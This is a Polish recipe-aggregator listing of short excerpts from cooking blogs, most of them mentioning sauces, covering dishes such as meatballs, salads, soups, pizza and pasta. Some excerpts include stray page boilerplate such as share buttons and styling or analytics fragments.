łyżeczkę. * quinoa z kaszą bulgur, * batoniki w trzech wersjach smakowych: - z nasionami, orzechami i miodem - z orzechami i ciemną czekoladą - z ananasem i kokosem * trzy dania gotowe do spożycia (sos + ugotowana quinoa): - z mango i papryczką jalapeno (moje ulubione :)) - z bazyliowym pesto - z karczochem i grillowaną papryką Nowości są już dostępne za granicą, a niebawem zapewne będzie je można kupić

Poranek na słodko
Kilka słów o produktach Morga Suisse. 186

posiłku. * Miks tapioki i maranty to dla mnie nowość - jeszcze nigdy wcześniej nie widziałam mąki z tych bulw. Całość jest bezwonna, o neutralnym smaku. Zagęszcza nawet zimne puddingi i sosy. Jednym słowem - wynalazek genialny. * Jeśli chodzi o graviolę, miałam już z nią do czynienia w formie sproszkowanej. Tym razem. zaintrygowana właściwościami zdrowotnymi tego owocu, skusiłam się na sok. Jaki jest

Poranek na słodko
Klops z jajkiem 190

danie, bo można go jeść na ciepło oraz na zimno i w obu wersjach jest równie smaczny. I tak jednego dnia podałam go na obiad z dodatkiem ziemniaczków i sosu chrzanowego, a gdy ostygł był świetnym dodatkiem do kanapek zamiast wędliny na kolejne dni.  Składniki na keksówkę o długości ok. 24 cm: ok. 1 kg mielonego mięsa z łopatki

Simply Food
Pulpety z indyka w sosie grzybowym 250

pieprzem. Dodajemy podsmażone z każdej strony pulpety i gotujemy to ok 30 minut. Następnie dodajemy musztardę oraz mąkę roztrzepaną z wodą w kubku i całość mieszamy, tak aby zagęścić sos.  Podajemy z ziemniakami lub kaszą oraz surówką

Emskie Smaki
Domowy paprykarz z tuńczykiem 168

niewielką ilością wody. Następnie patelnię przykryć, a warzywa dusić do miękkości. (W międzyczasie przemieszać i ewentualnie dodatkowo dolać wody.) Po tym czasie dodać pomidory (z zalewą). Po zredukowaniu się sosu (nie do końca) wyjąć listek i ziele angielskie, a zawartość patelni wymieszać z ryżem i następnie z tuńczykiem odsączonym z oleju. Paprykarz doprawić do smaku i po ostygnięciu (*) - schłodzić

Di gotuje
Krokiety z brokułami i camembertem 178

zrobiła się ciepła). Dodać pokrojony ser. Gotować aż do rozpuszczenia się sera, co jakiś czas mieszając. Na koniec dodać pokrojone zioła (bazylię i oregano) i zamieszać. Przygotowanym sosem zalać brokuły z cebulą. Naleśniki nadziać farszem i złożyć. Jajka wymieszać widelcem z odrobiną soli. Naleśniki maczać kolejno w jajkach oraz bułce tartej. Smażyć na mocno rozgrzanej oliwie z obu stron

Bullio
Makaron z sosem pieczarkowo-serowym 196

Sos z gęstej śmietany, parmezanu i pieczarek. Bardzo szybkie do wykonania danie obiadowe. Niżej podane składniki wystarczą na 4-5 dużych porcji. 0,5 kg pieczarek 100 g parmezanu 400 g śmietany 22% 1/3 łyżeczki pieprzu 1/2 łyżeczki soli pęczek szczypiorku kilka liści świeżej bazylii 1 łyżka oleju 2 ząbki czosnku makaron (4-5 porcji) + sól do wody Pieczarki drobno

Bullio
Dietetyczna kapusta z kurczakiem 351

przykryciem, co jakiś czas mieszając. Po tym czasie dodać pomidory z puszki, spróbować i w razie konieczności doprawić. Gotować bez przykrycia do czasu aż kapusta będzie bardzo miękka a sos nieco się zagęści. Co jakiś czas mieszać. Podawać np. z pieczywem ale dobrze smakuje też bez dodatków

Bullio
Pizza z pesto i łososiem 197

Pomysł na bardzo ciekawą i smaczną pizzę. Tym razem zamiast sosu pomidorowego użyłam pesto. Na wierzchu cebula, łosoś i parmezan. Przepis na ciasto (na dwie duże pizze) znajdziecie tutaj . Poniżej podaję składniki na jedną pizzę: 2 łyżki pesto (użyłam gotowego pesto bazyliowego) ok. 100 g mozzarelli ok. 40 g wędzonego łososia 1/2 małej cebuli 1 łyżka drobno utartego parmezanu Ciasto

Bullio
Serniczki z patelni 5061

Placki z białego sera, smażone na oleju na patelni. Podaję je z dodatkiem sosu np. truskawkowego lub świeżych owoców. Można również posypać cukrem pudrem. Serniczki są łatwe do wykonania. Z podanego przepisu wychodzi ok. 10 średniej wielkości placków. 0,5 kg twarogu trzykrotnie zmielonego lub gotowego sera do serników (z wiaderka) 5 łyżek mąki 3 łyżki cukru 1 jajko

Bullio
Spaghetti z winem i selerem naciowym 149

Kiedyś myślałam, że spaghetti to tylko pomidorowy sos, doprawiony ziołami i że w takiej formie smakuje najlepiej. Nie! Spaghetti z dodatkiem warzyw bije je na głowę:). Tym razem dodałam dużo selera naciowego a spaghetti podlałam czerwonym winem. Wyszło pysznie! 500g mięsa mielonego 1 puszka krojonych pomidorów 400ml przecieru pomidorowego 4 łodygi selera naciowego 3 duże marchewki 2 średnie cebule

Szefowa kuchni
Pieczona dynia - baza idealna do ciasta, pasztetu jak i zupy 181

Pieczona dynia to dodatek idealny do ciasta, pasztetu, zupy jak i sosu.  Już od dzisiaj nie musicie obawiać się żmudnego i ciężkiego obierania skórki. Dynia  przygotowana w poniższy sposób będzie bardzo miękka i rozpadająca się pod wpływem nacisku widelca :) Po upieczeniu dyni zachęcam do przygotowania kremu dyniowego lub miękkich, pszennych bułeczek .  Składniki: 1 dynia, np. hokkaido* naczynie

Ugotować
pulpeciki wieprzowe 144

poddusić na maśle, dodać pokrojone pomidory, posiekany czosnek, dusić do miękkości. Odstawić do przestudzenia, zmiksować, przetrzeć przez sito. Zagotować, doprawić do smaku solą, pieprzem i wędzoną papryką.  Do sosu można dodać trochę wywaru z gotowania pulpecików. Z masy mięsnej wyrabiać pulpeciki wielkości orzecha włoskiego. Każdy oprószyć mąką. Zagotować wodę z przyprawami i solą. Wrzucać pulpeciki na wrzącą

królestwo garów
Sałatka: pomidory, tuńczyk, oliwki, kukurydza, sałata. 178

Kroimy pomidorki. Odsączamy ziarna kukurydzy. Szatkujemy sałatę. Odsączamy puszkę tuńczyka. Wypestkowujemy oliwki. Mieszamy razem. Doprawiamy do smaku. Ostatnio w tym temacie jestem bezapelacyjną fanką octu balsamicznego z Modeny lub sosu winegret. Smacznego. Pozdrawiam serdecznie Beata   Enregistrer 24 total views, 24 views today Tweetnij The post Sałatka: pomidory, tuńczyk, oliwki, kukurydza, sałata. appeared first on MODA

MODA NA BIO
Sałatka z czerwoną quinoą i nasturcją 174

kawałki i razem z nasturcją wrzucamy do miski, dodajemy pokrojoną w słupki kalarepę i plasterki ogórków, wszystko mieszamy. Posypujemy sałatkę czerwoną quinoą, doprawiamy solą, świeżo zmielonym pieprzem i polewamy sosem z oleju i cytryny

Quinoa Raz!
Światowy Dzień Żywności 16 października. Czy marnujesz żywność? Przechowywanie ma znaczenie. 190

wkładam do lodówki na odpowiednią półkę. Dzięki temu mam zioła na kilka dni. Z resztek ziemniaków robię kluski śląskie lub kotlety ziemniaczane z farszem lub bez. Do tego sos pomidorowy. Z marchewki, pietruszki i selera dodając ugotowaną czerwoną soczewicę powstają pyszne pasztety wegetariańskie. Nie mówiąc już o pysznych zupach jarzynowych. Chodzę także na warsztaty kulinarne, gdzie szefowie kuchni zdradzają

AZgotuj!
Schabowe czosnkowe 166

Ziemniaki obieramy, kroimy w julenkę. Smażymy na rozgrzanej oliwie. Solimy. W tym samym czasie smażymy kotlety z obu stron, na rozgrzanym smalcu. Na pozostałym tłuszczu ze smażenia schabu, przygotowujemy sos. Posiekaną cebulę i czosnek podsmażamy na tłuszczu, dodajemy śmietanę i posiekaną natkę. Mieszamy. Mięso i ziemniaki przekładamy na talerze, posypujemy natką. Podajemy z ulubioną surówką. /* Style Definitions */ table.MsoNormalTable {mso-style

R'n'G Kitchen
Francuska zupa czosnkowa. 215

domu. Teraz lubię zapach czosnku smażonego na oliwie, ale coś z czosnkowego konfliktu pokoleń pozostało, bo kiedy tym razem wracam z pracy, a mój syn przygotowuje swój ulubiony sos czosnkowy (z wyjątkowym rozmachem), to też muszę stoczyć ze sobą małą wewnętrzną walkę na progu ;) Teraz chyba mi wierzycie, jak łagodna jest ta zupa? ;) Pyszna! Składniki: 1 główka czosnku

zadanie-gotowanie
Sałatka: mozzarela, pomidory, sałata. 172

mozzarela, 2 pomidory, główka sałaty. Przygotowanie: Odsączamy mozzarelę i kromiy w kosteczkę. Szatkujemy sałatę. Kroimy pomidory. Mieszamy razem. Doprawiamy do smaku. Np świetnie nadaje się do tego domowej roboty sos winegret, albo ocet balsamiczny z Modeny. Smacznego. Pozdrawiam serdecznie Beata Enregistrer 13 total views, 13 views today Tweetnij The post Sałatka: mozzarela, pomidory, sałata. appeared first on MODA

MODA NA BIO
WOLL Szafir Lite - patelnia idealna? 209

letniej gwarancji na uchwyty i powłoki. Na p i erwszy ogień poszedł kurczak z brokułami - pełna obaw, żeby nie zepsuć tego cuda podprażyłam słonecznika, a następnie przeszłam do przygotowania sosu. Cebulka się ładnie zeszkliła, na całej powierzchni patelni, nie tylko na środku. Dorzuciłam kolejne składniki i przygotowałam nasz obiad z zadowoleniem obserwując jak ładnie się smaży. Później przysmażałam jeszcze kopytka

Cynamonowe szczęście
Kopytka ziemniaczane 166

Często zostają nam ziemniaki, wtedy najczęściej wyrzucamy, a szkoda. Kopytka robi się bardzo łatwo i są pyszne. Można je jeść z sosami, mięsem w kapuście. Są pycha. Jeśli nie macie ugotowanych ziemniaków, to trzeba je ugotować w osolonej wodzie do miękkości. Następnie przecisnąć przez praskę, lub dokładnie ugnieść za pomocą duczka. Dodać jajka i mąkę, wymieszać i zagnieść wszystko

Kuchnia Pokoleń
Makaron z kurczakiem i cukinią 201

półplasterki cukinię i przesmażamy jeszcze przez ok. 5 minut. Dodajemy jogurt naturalny, doprawiamy do smaku solą i pieprzem i dusimy całość razem ok. 3 minut. Na patelnię z sosem dodajemy makaron i całość razem mieszamy. Po wyłożeniu na talerze, na wierzchu dodajemy odrobinę orzechowego pesto . Post Makaron z kurczakiem i cukinią pojawił się poraz pierwszy w Kulinarny Blog - wiesz

Kulinarnyblog.pl - wiesz jak gotować!
GOFRY Z OWOCAMI 187

pieczenia, cukrem pudrem i żółtkami miksujemy na gładko. Delikatnie za pomocą łyżki dodajemy pianę, mieszamy. Gofry pieczemy na rumiano, studzimy na kratce. Podajemy np z bitą śmietaną i sosem owocowym

Z Majeczką w kuchni
Łosoś w cieście francuskim 164

mięsa ryby, a następnie pokroić łososia na kawałki. KROK 2: Wymieszać w misce oliwę, sok, miód, sól i korzenne przyprawy, po czym włożyć łososia, dokładnie obtoczyć w powstałym sosie i zostawić w chłodnym miejscu. KROK 3: Francuskie ciasto dzielę na kawałki i rozwałkowuję, kładę rybę, na to układam żurawinę i płatki migdałowe. Ciasto francuskie smaruję wodą lub jajkiem, by łatwiej

Z notatnika
Lekki bigosik z cukinii 182

się skończyły, więc tym samy postanowiłam przygotować go na świeżo. Ja osobiście lubię bigosik z cukinii w najprostszej postaci, choć można oczywiście go wzbogacić dokładając do składników czerwoną paprykę, sos sojowy, bazylię ... według własnego uznania. Warto eksperymentować! Jak przygotowuję zawsze tyle, że mogłabym obdzielić pół bloku, zwielokrotniając składniki, by zawekować do słoików . Warto zostawić jednak na następny dzień

Z notatnika
Siekane jaglane kotleciki z suszonymi pomidorami 187

powstałej masy kotleciki i smażymy na niedużym ogniu lub wkładamy do rozgrzanego do 180 stopni piekarnika na około 30 minut, tak aby mięso miało okazję się upiec. Podajemy z sosem oraz ulubionymi dodatkami. Smacznego

ChilliJemy
Sałatka z makaronem, dynią, kurczakiem, kozim serem, rodzynkami i sosem bazyliowym 164

szczyptą soli i pieprzu. Makaron gotuję według przepisu na opakowaniu al dente. Pestki dyni prażę na suchej patelni przez 2- 3 minuty. Składniki dressingu ucieram w moździerzu na gładki sos. Odcedzam rodzynki. Ugotowany makaron, usmażoną pierś kurczaka z cebulą i dynią, rodzynki i dressing dokładnie mieszam. Przed podaniem posypuję prażonymi pestkami dyni i pokruszonym kozim serem. Podaję od razu

Mango Papaja
HURRY CURRY W RESTAURANT WEEK – #instamix 224

groszku i chilli. i Samosa mięsna – indyjski smażony pieróg z mięsnym nadzieniem z dodatkiem cebuli i groszku. Chrupiące ciasto wypełnione obficie ( po brzegi! ) farszem, podane z dodatkiem jogurtowego sosu. Obydwie wersje bardzo smaczne, ale wersja wege zdecydowanie bardziej ostra. Kolejno: Zupa marchewkowa z chilli i Pikantny krem z pomidorów. Obie zupy bardzo fajnie kremowe, sycące, idealnie gorące ( wspaniałe

Ostra na Słodko
Delikatna zupa krem z dyni, kalarepy i nie tylko :-) 179

dynia hokaido 1 większa kalarepa 3 ziemniaki (średnie) 1 pietruszka 1 cebula czerwona zioła prowansalskie sól pieprz masło klarowane około 2 litry wody 1/3 szklanki śmietany do zup i sosów W garnku rozgrzewamy masło, wrzucamy pokrojoną cebulę i czosnek. Jak cebula się zeszkli, dolewamy wodę, dodajemy resztę obranych, pokrojonych (na większe kawałki) warzyw, solimy i gotujemy. W trakcie gotowania dodajemy

kruche babeczki
Z PESTO I TUŃCZYKIEM 213

SKŁADNIKI:   1 słoiczek pesto czerwonego 100 g makaronu tuńczyk w puszce w sosie własnym w kawałkach 3 plastry sera żółtego Sól i pieprz   SPOSÓB PRZYGOTOWANIA:    Makaron gotuję tak jak na opakowaniu. Następnie schładzam lodotowatą wodą. Przekładam do miski. Kolejno wkładam tuńczyka. Najpierw odcedzam go z wody. Użyłam tuńczyka w kawałkach. Następnie dodaję czerwone pesto. Na koniec

Gotowanie Patki
Prosta i szybka domowa pizza makaronowa 488

dodaj oregano, zmielony czosnek, sól i pieprz do smaku. Pokrój pieczarki i czerwoną paprykę. Wysmaruj oliwą z oliwek naczynie żaroodporne, wrzuć ugotowany makaron, wlej przygotowany wcześniej z przecieru pomidorowego sos, posyp serem mozzarella, dodaj salami, pieczarki i czerwoną paprykę. Rozgrzej piekarnik do 250 stopni i piecz 10-15 minut. Podawaj ze świeżą bazylią. Smacznego! Wartości odżywcze: Energia

ale Pysznie
Quinoa z kurczakiem w zielonym curry 204

kroimy na mniejsze kawałki. Por i marchew, kroimy w plastry przesmażamy na oleju kokosowym, a następnie dolewamy mleko kokosowe i dusimy (w trakcie duszenia dolewamy po trochu wody, żeby sos za bardzo nie odparował) gdy warzywa są jeszcze lekko twardawe dodajemy pokrojonego w kostkę kurczaka, pastę curry, mieszamy dokładnie i dusimy, aż kurczak się zetnie, ale nie za długo, żeby

Quinoa Raz!
Pieczona szynka czosnkowa 158

czasie pieczenia podpiekamy z jednej strony, przekładamy, podpiekamy z drugiej strony. Przykrywamy folią aluminiową i pozostały czas pieczemy pod przykryciem. Podajemy na ciepło do obiadu wraz z powstałym sosem lub na zimno do kanapek. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
“Fotografia smaku” – recenzja 155

się przepyszne. Januszowi trzeba natomiast przyznać, że teksty są napisane bardzo dobrze, pięknym językiem polskim, gdzie kisz magicznie zamienia się w serowiec, a vitello tonato w cielęcinę w sosie tuńczykowym.   Co miałabym ochotę ugotować z tej książki? Na pewno zrazy a la Radziwiłł, kwiaty bzu w cieście, zupę koperkową i deser Celiny, który przypomina nieco PRLowską białą galaretkę

Ugotowane pozamiatane
ZAPIEKANKA MAKARONOWA Z CUKINIĄ W SOSIE ŚMIETANOWYM 285

Dziś mam dla Was przepis na kolejne, makaronowe pyszności! Tym razem zapraszam na wspaniałą zapiekankę z cukinią w sosie serowym. Idealna na obiad, jaki kolację na ciepło. Niezwykle sycąca i błyskawiczna do zrobienia – świetnym pomysł właśnie wtedy, kiedy nie mam czasu na siedzenie przy „garach”. Koniecznie spróbujcie! Ps. oprócz cukinii możecie dołożyć jeszcze plastry bakłażana i pomidorów

Ostra na Słodko
Puree z dyni 167

Puree z dyni można zrobić bardzo łatwo. Osobiście robię je od razu w dużej ilości i mrożę w pojemnikach i woreczkach. Takie gotowe puree można wykorzystać do ciast, zup, sosów, dań dla niemowlaków itp. SKŁADNIKI dynia - ilość wedle uznania WYKONANIE Piekarnik rozgrzać do temperatury 200 ° C. Blaszkę z piekarnika wyłożyć folią aluminiową. Dynię umyć, przekroić na pół i wydrążyć

Passions hobbies life
Spaghetti ze szpinakiem i suszonymi pomidorami 200

Suszone pomidory kroimy na mniejsze cząstki i dodajemy do szpinaku. Mieszamy. Na koniec dodajemy śmietankę, sól, pieprz - wszystko zagotowujemy. Makaron gotujemy wg zaleceń na opakowaniu i mieszamy z sosem.  Smacznego

Taste Therapy
Potrawka z zielonej soczewicy 198

każdej, jeśli chcemy wersję łagodną nie dodajemy chilli.)  6. Jeśli chcemy gęstą potrawkę, na patelni przygotowujemy zasmażkę mieszając 1 łyżkę mąki z masłem, podlewamy ją trochę sosem z potrawki po czym wlewamy z powrotem i całość mieszamy.  7. Potrawka gotowa.  Smacznego

Mój pomysł na
Pytt i panna 373

Można je podsmażyć na patelni albo tak jak ja upiec w piekarniku. Najlepsze do datki do tego dania? Oczywiście te tradycyjne czyli jajko sadzone i buraczki! Świetnie pasuje też sos czosnkowy. Kiełbasę można też zastąpić dowolnym mięsem drobno pokrojonym! Składniki |4 porcje|: * 8 / 10 ziemniaków * 2 cebule * 2 laski kiełbasy śląskiej lub zwyczajne * 1 szklanka ugotowanej drobnej fasolki * 4 listki

Mohiella
Zupa serowo - cebulowa. 194

się bardziej zeszklić. Co chwilę mieszaj zawartość w garnku. Po około 8 do 10 minut, całość podlej winem i dodaj miód. Dalej gotuj, tak aby cały alkohol odparował, a sosie pozostał aromat. Dodajemy ser i wodę. Doprawiamy sola i białym pieprzem. Gotujemy około 10 minut. zdejmujemy z ognia i miksujemy blenderem na gładką masę. Zagotowujemy. Pajdę chleba smarujemy obficie oliwą

SMYKWKUCHNI
Ketchup pomidorowy z cukinią i octem winnym 187

roku udało mi się trochę zapełnić piwnicę pomidorowymi przetworami. Obok sprawdzonej pomaroli wypróbowałam też ketchup z dodatkiem papryki i octu z czerwonego wina i sos z pieczonych pomidorów . Ketchup podczas obróbki traci sporo na objętości, więc uznałam, że zrobię jeszcze jedną, podobną wersję do tej paprykowej, ale z wykorzystaniem cukinii. Często spotykam się z przepisami na ketchup z cukinii

FitKot
Pikantny placek dyniowy z ajwarem - super fit 266

minut przed zakończeniem pieczenia jogurt wymieszać z posiekanymi ziołami, startą skórką z cytryny, przyprawić solą, pieprzem, odrobiną soku z cytryny i miodem placek delikatnie ostudzić i podawać z sosem jogurtowym

Gotuj zdrowo!Guten Appetit!
Cukiniowe placuszki z serem i kurczakiem 173

rozgrzewamy olej,łyżką nakładamy małe porcje ciasta i smażymy na złoty kolor. Usmażone placuszki układamy na papierze by pozbyć się nadmiaru tłuszczu.  Podajemy na ciepło. Wybornie smakują polane sosem czosnkowym. Polecam również placuszki z cukinii w tej wersji: http://elka72.bloog.pl/id,342246693,title,Placuszki-z-cukinii,index.html

Kolorowa kuchnia Elki
Makaronowa sałatka ze świeżym ogórkiem 179

obrać i pokroić w drobną kostkę. Szynkę również pokroić w kosteczkę,koperek posiekać. Zmieszać razem makaron,szynkę,ogórki i koperek. Jogurt wymieszać z majonezem i przeciśniętym przez praskę czosnkiem. Sos połączyć z resztą składników. i doprawić do smaku solą i pieprzem. Sałatkę włożyć na minimum 1 godzinę do lodówki aby dobrze przeszła smakiem czosnku. Polecam również inną sałatkę z użyciem

Kolorowa kuchnia Elki
Pasta z tuńczyka i selera naciowego 191

się znudzą wędliny i sery możemy zrobić sobie taką smaczną pastę do pieczywa. Wystarczy otworzyć puszkę z tuńczykiem,dorzucić kilka dodatków i pasta gotowa. 1 puszka tuńczyka w sosie własnym 3 jajka 2- 3 łodygi selera naciowego 1 mała czerwona cebula 1 łyżka posiekanego koperku 2 łyżki majonezu sól świeżo mielony pieprz Jajka ugotować na twardo,wystudzić,obrać ze skorupek

Kolorowa kuchnia Elki
Roladki drobiowe z cukinią i kurkami 221

kosteczkę cebulkę i chwilę podsmażyć. Do cebuli dodać oczyszczone kurki,smażyć do lekkiego przyrumienienia,przyprawić do smaku solą i pieprzem. Część kurek zostawić do nadziania roladek,resztę odłożyć do sosu. Na każdym płacie mi ę sa ułożyć plas terek s er a,pasek cukinii i łyżkę podsmażonych kurek. Zwinąć ciasno roladki i spiąć wykałaczką. Na patelni roztopić pozostałe masło,ułożyć

Kolorowa kuchnia Elki
Sałatka ziemniaczana z tuńczykiem 317

Prosta,bardzo sycąca sałatka ziemniaczana z dodatkiem tuńczyka  5 ugotowanych ziemniaków 1 puszka tuńczyka w sosie własnym 1 czerwona cebula 4 ogórki kiszone 1 łyżka posiekanego szczypiorku 4 łyżki majonezu sól świeżo mielony pieprz Ziemniaki i ogórki pokroić w kostkę,tuńczyka odsączyć z zalewy,cebulę i por drobno posiekać. Zmieszać wszystkie składniki,dodać majonez,przyprawić do smaku solą

Kolorowa kuchnia Elki
Placuszki dyniowo-cukiniowe z imbirem 201

pieprzem. Na patelni rozgrzać odrobinę oleju,kłaść po 1 łyżce ciasta i smażyć placuszki na rumiano z obu stron. Usmażone osączyć na ręczniku papierowym. Podawać na ciepło z ulubionym sosem lub solo

Kolorowa kuchnia Elki
Polędwiczka w cieście francuskim 274

majerankiem. Mięso przesmażamy na rozgrzanym oleju przez ok. 4 minuty z każdej strony. Odstawiamy do ostygnięcia na ok. 5 minut. Polędwiczkę układamy na rozłożonych plastrach boczku, na górze wykładamy sos musztardowy i zawijamy w plasterki boczku. Następnie przekładamy ją na rozwinięty płat ciasta francuskiego i zwijamy tak, aby powstała rolada. Ciasto możemy ozdobnie naciąć u góry i wierzch smarujemy roztrzepanym

Kulinarnyblog.pl - wiesz jak gotować!
Zdrowa żywność typu instant :) 197

kuskusem, quinoą, zieloną pszenicą i  młodą soją  kuskus (32%)  *  bulgur, zielona pszenica (13%)  *  quiona (12%)  *  przyprawa słodka chilli (nierafinowany cukier, sos sojowy, sól, cebula, czosnek, pomidory, mielona chilli, koper włoski, bazylia, naturalne aromaty, maltodekstryna, papryka)  *  ziarna słonecznika  *  pomidory  *  młoda soja (3%)  *  czerwona papryka, pietruszka

Zdrowie na języku :P
Multicooker REDMOND RMC-151E - recenzja i przepisy 204

ręcznych)  MULTICOOK  COOK (gotowanie)  EXPRESS (gotowanie ekspresowe)  STEW (duszenie)  PIZZA (pizza)  PORRIDGE (kasza na mleku) SOUP (zupa)  RICE (ryż) GRAIN (kasze) SAUCE (sos) Programy automatyczne: SELF-CLEAN (samoczyszczenie)  FRY (smażenie) SLOW COOK (duszenie na wolnym ogniu) BREAD (chleb)  DEEP FRY (smażenie na głębokim oleju) BAKE (wypieki) PILAF (pilaw)  YOGURT (jogurt

Di gotuje
Sałatka jajeczna z awokado i rzodkiewką / Egg avocado and radish salad 280

rodzinie. Pomijając już jej cudowne wartości odżywcze, jest ona bardzo łatwa w przygotowaniu. Wystarczy wymieszać ugotowane na twardo i posiekane jajka, z pokrojonym w kostkę awokado i rzodkiewką z sosem na bazie majonezu, jogurtu greckiego i musztardy i już mamy pyszne śniadanie. Dodatek prażonych ziaren dyni i słonecznika dodają jej chrupkości, a kolendry aromatu, bardzo lubię takie dodatki. Polecam także

karmelowy
Kurczak pieczony w piekarniku 234

sklepie kurczaka zagrodowego , warto, mięsko jest delikatne, pyszne..mniam;)  kurczak  około 2 kg przyprawy: sól domowa wegeta papryka słodka imbir czosnek suszone pomidory z czosnkiem i bazylią sos sojowy ciemny olej Kurczaka dokładnie myję. W miseczce łączę składniki marynaty.  Nacieram nią całego kurczaka, w środku i na zewnątrz. Zamarynowanego kurczaka wkładam do naczynia żaroodpornego i odstawiam

Takie tam pichcenie
Paella z owocami morza 274

smażymy 3-4 minuty. Spażone i obrane ze skórki pomidory wrzucamy na patelnie i dusimy 2-3 min.  Dodajemy passatę oraz wino, dusimy przez 3-4 minuty aby sos się lekko zredukował. Na patelnię wrzucamy ryż i całość zalewamy bulionem, ale nie całym. 100 -150 ml zostawiamy na później.  Dodajemy  skrórkę otartą z 1/2 cytryny, szafran, kurkumę

DefinicjaSmaku
Jak obrać skutecznie pomidora ze skórki 173

wyjmuję ostrożnie łyżką jeszcze ciepły, zanurzam na chwilę w zimnej wodzie, wyjmuję, wykrawam resztę po szypułce i obieram pomidora delikatnie ze skórki. Tak obrane pomidory używam do sałatek, pizzy, sosów czy zapiekanek. Takie potrzebne były mi do pieczonego szczupaka . Bardzo proszę o podpowiedź, co to za ozdobna roślina. Rośnie od zeszłego roku w moim ogrodzie i nie znam jej nazwy

Proste Potrawy
Tęczowa sałatka z tuńczykiem. 206

Sałatka: 1 garść młodego szpinaku 1 mała puszka kukurydzy (170 g) lub 1/2 standardowej 1 pomidor 1/2 pieczonej papryki (może być ze słoika) 1 puszka tuńczyka (w kawałkach, w sosie własnym) 1/2 małej czerwonej cebuli 1/2 małego, dojrzałego awokado 1 jajko ugotowane na twardo Dressing: 1 łyżka oliwy 1 łyżka soku z cytryny 1/2 łyżki miodu 2 szczypty soli

zadanie-gotowanie
Po co mi ten blog… 190

kuchni pojawiła się elektryczna waga – pieczenie stało się powtarzalne, przewidywalne, po prostu przyjemnie satysfakcjonujące.   Nie wymyślisz niczego nowego w przepisie na biszkopt czy ciasto ptysiowe, ale może sos do kaczki będzie dobry też do ciemnego mięsa kurczaka? A jeśli zamiast bułki tartej użyjesz otrębów, może wchłoną mniej tłuszczu? Zamiast pasty chili może dasz coś łagodniejszego, wiedząc że domownicy

Karo in the Kitchen
Płatki jaglane w jogurtach na śniadanie 186

szklanic. Dodajemy płatki zbożowe oraz jogurt, następnie znów płatki + nasze ulubione muesli na przykład i znowu jogurt i tak w kółko- zależy jak wysoką mamy szklankę. Możemy użyć ulubionego sosu do deserów lub soku własnoręcznie zrobionego. Kończymy jogurtem naturalnym i posypujemy jagodami goji oraz tym wszystkim czego dusza zapragnie. Ot i śniadanko lub zdrowy deser gotowe! Moje dzieci to uwielbiają

Z Kuchni Do Kuchni
Ezogelin - turecka zupa z soczewicy i bulguru 213

zeszklić cebulę. Następnie dodać czosnek i smażyć jeszcze 1 minutę. Dodać drobno pokrojone pomidory z puszki + 1/3 szklanki wody i smażyć, aż się w garnku utworzy się sos, a pomidory rozpadną się. Soczewicę przepłukać na sicie, dodać do garnka oraz dodać bulion warzywny. Gotować na wolnym ogniu przez 20 minut, mieszając od czasu do czasu aż soczewica rozgotuje się

Codziennik Kuchenny
Sałatka z komosy ryżowej, pieczonej dyni i fety 183

spróbował tej kaszy choć raz, nie trzeba przekonywać do jej ponownego zjedzenia.  Od jakiegoś czasu testuję możliwości wykorzystania komosy ryżowej, dodaję ją do zup, jako dodatek do sosów i bazę sałatek. Sałatka z komosy z pieczoną dynią najlepiej smakuje na zimno. Można ją zabrać na piknik lub jako drugie śniadanie do pracy. Składniki:  2 szklanki ugotowanej czerwonej komosy

Codziennik Kuchenny
Suszenie i mrożenie liści warzyw 180

ładnymi liśćmi. Po umyciu i posegregowaniu suszę lub mrożę liście warzyw. W ten sposób przygotowuję zapas aromatycznej zieleniny na zimę. Suszone liście doskonale się przechowują, używam ich do zup, sosów, farszy.  Jeszcze więcej aromatu i smaku mają mrożone liście. Mrożony koperek dodany do puree ziemniaczanego, smakuje jak ten kupiony w czerwcu;) Grube, mrożone łodyżki lubczyku i selera nadają gotowanemu

Codziennik Kuchenny
Kasza jaglana z pieczonymi warzywami 188

warzywa są miękkie. Uwaga! W naczyniu do pieczenia ułożyć cienką warstwę warzyw, aby się ładnie i szybko upiekły. Gdy warzyw będzie w naczyniu zbyt dużo, będą się dusiły w sosie własnym, nie upieką się. Upieczone warzywa posolić, podać z gorącą kaszą jaglaną, posypane natką pietruszki.  Słodycz warzyw można przełamać dodając oliwki lub inny kwaśny dodatek jaki lubicie. Smacznego

Codziennik Kuchenny
Smörgåstårta - Szwedzki tort kanapkowy 269

ułożeniu wszystkich warstw tortu, wierzch i boki posmarować majonezem lub serkiem twarogowym i udekorować. Składniki na tort wersji mini: 4 kromki chleba tostowego Warstwa tuńczykowa: 1/2 filiżanki tuńczyka w sosie własnym 1 korniszon kawałek czerwonej cebuli lub dymka 1-2 płaskie łyżki serka twarogowego pieprz i ewentualnie nieco soli do smaku Warstwa łososiowa: 4 plastry wędzonego łososia 1 czubata łyżka

Codziennik Kuchenny
Dietetyczny pasztet z kurczaka 204

zbyt suchy, dodałam bulionu drobiowego.  Jeżeli nie chcecie w Święta liczyć kalorii, odchudzajcie swoje potrawy, a później zjedzcie porcję pierogów lub makowca;) Dietetyczny pasztet z kurczaka z dodatkiem sosu chrzanowego z żurawiną Składniki: 4 uda z kurczaka, 1 podwójna pierś z kurczaka -  mięso po ugotowaniu i oddzieleniu od kości ważyło łącznie - 1,30 kg 0,5 kg pieczarek

Codziennik Kuchenny
Ryba po grecku w wersji odchudzonej 221

garnka i lekko podkręcić gaz. Na tym etapie duszenia warzyw, płyny będą się redukowały. Gdy większość wody odparuje, dodać pozostały przecier pomidorowy. Dusić jeszcze  jakiś czas, aż sos pomidowy zostanie wchłonięty przez warzywa i będzie go bardzo mało. Następnie przyprawić warzywa wedle potrzeby, solą, cukrem i pieprzem. Usunąć przyprawy korzenne i pozostawić warzywa do wystygnięcia. Na dnie dużej salaterki

Codziennik Kuchenny
Potrawy na Wigilię i Święta - ściągawka 229

wędzoną śliwką Zupa grzybowa Uszka z grzybami Pierogi z kapustą i grzybami Wigilijna kapusta z grochem Łazanki z kapustą Ryba po grecku w wersji odchudzonej Karp smażony z sosem szarym Śledzie marynowane w oleju lnianym Najlepsze śledzie z cebulą Śledzie w miodzie Śledzie z cebulą i czerwonym pieprzem Śledzie z czosnkiem Śledzie z marynowanymi grzybkami i ogórkami Sałatka śledziowa

Codziennik Kuchenny
Pasztet rybny 254

